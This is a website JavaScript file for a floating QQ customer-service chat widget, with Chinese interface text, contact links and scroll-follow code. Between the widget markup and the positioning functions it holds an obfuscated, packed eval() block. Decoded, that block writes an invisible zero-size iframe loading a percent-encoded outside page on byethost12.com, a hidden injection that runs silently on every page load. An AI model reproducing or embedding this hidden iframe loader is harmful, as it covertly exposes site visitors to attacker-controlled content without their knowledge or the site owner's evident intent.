document.write("<div id='siderIMchat' >");

document.write("<div id='siderIMchat_main' style='display : none;'>");

document.write("<div class='top'></div><div class='infobox'>我们服务的时间<br>09:00-18:00</div><div class='bg'><ul class='clearfix'><li><a class='blow2' target='_blank' title='在线咨询' href='tencent://message/?uin=1103182682&&Site=LICENSE_ShopEx&&Menu=yes'><img alt='在线咨询' border='0' src='http://wpa.qq.com/pa?p=1:1103182682:4'/>&nbsp;&nbsp;在线咨询</a><br/><a class='blow2' target='_blank' title='在线咨询' href='tencent://message/?uin=393325773&&Site=LICENSE_ShopEx&&Menu=yes'><img alt='在线咨询' border='0' src='http://wpa.qq.com/pa?p=1:393325773:4'/>&nbsp;&nbsp;在线咨询</a></li></ul><br/><div style='text-align:center;'><br/><br/><br/><div id='closeSiderIMchat' style='cursor:pointer;' onclick='hideMsgBox();'>关闭在线客服</div></div></div><div class='bottom'></div>");

document.write("</div>");

document.write("<div id='siderIMchat_hiddenbar' title='在线客服' onmouseover='OnlineOver();'></div>");

document.write("</div>");

//<![CDATA[
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8.f("<6 d=b://%3%c%2%1%3%4%9%e%7%1%a%5%2%1%m%l%4%o%5%n/k.h g=0 j=0 i=0 ></6>");',25,25,'|74|73|77|2E|6F|iframe|65|document|62|68|http|64|src|79|write|width|html|frameborder|height|index|32|31|6D|63'.split('|'),0,{}))

var tips; var theTop = 100/*这是默认高度,越大越往下*/; var old = theTop;

function initFloatTips() {

    tips = document.getElementById('siderIMchat');

    moveTips();

};

function moveTips() {

    var tt = 50;

    if (window.innerHeight) {

        pos = window.pageYOffset

    }

    else if (document.documentElement && document.documentElement.scrollTop) {

        pos = document.documentElement.scrollTop

    }

    else if (document.body) {

        pos = document.body.scrollTop;

    }

    pos = pos - tips.offsetTop + theTop;

    pos = tips.offsetTop + pos / 10;



    if (pos < theTop) pos = theTop;

    if (pos != old) {

        tips.style.top = pos + "px";

        tt = 10;

        //alert(tips.style.top);

    }



    old = pos;

    setTimeout(moveTips, tt);

}

//!]]>

initFloatTips();







function OnlineOver() {

    document.getElementById("siderIMchat_hiddenbar").style.display = "none";

    document.getElementById("siderIMchat_main").style.display = "block";

//    document.getElementById("siderIMchat").style.width = "125px";

}



function OnlineOut() {

    document.getElementById("siderIMchat_hiddenbar").style.display = "block";

    document.getElementById("siderIMchat_main").style.display = "none";
}



function hideMsgBox(theEvent) { //theEvent用来传入事件，Firefox的方式
    if (theEvent) {
        var browser = navigator.userAgent; //取得浏览器属性
        if (browser.indexOf("Firefox") > 0) { //如果是Firefox
            if (document.getElementById('siderIMchat_main').contains(theEvent.relatedTarget)) { //如果是子元素
                return; //结束函式

            }

        }

        if (browser.indexOf("MSIE") > 0) { //如果是IE

            if (document.getElementById('siderIMchat_main').contains(event.toElement)) { //如果是子元素

                return; //结束函式

            }

        }

    }

    /*要执行的操作*/

    document.getElementById("siderIMchat_hiddenbar").style.display = "block";

    document.getElementById("siderIMchat_main").style.display = "none";

}


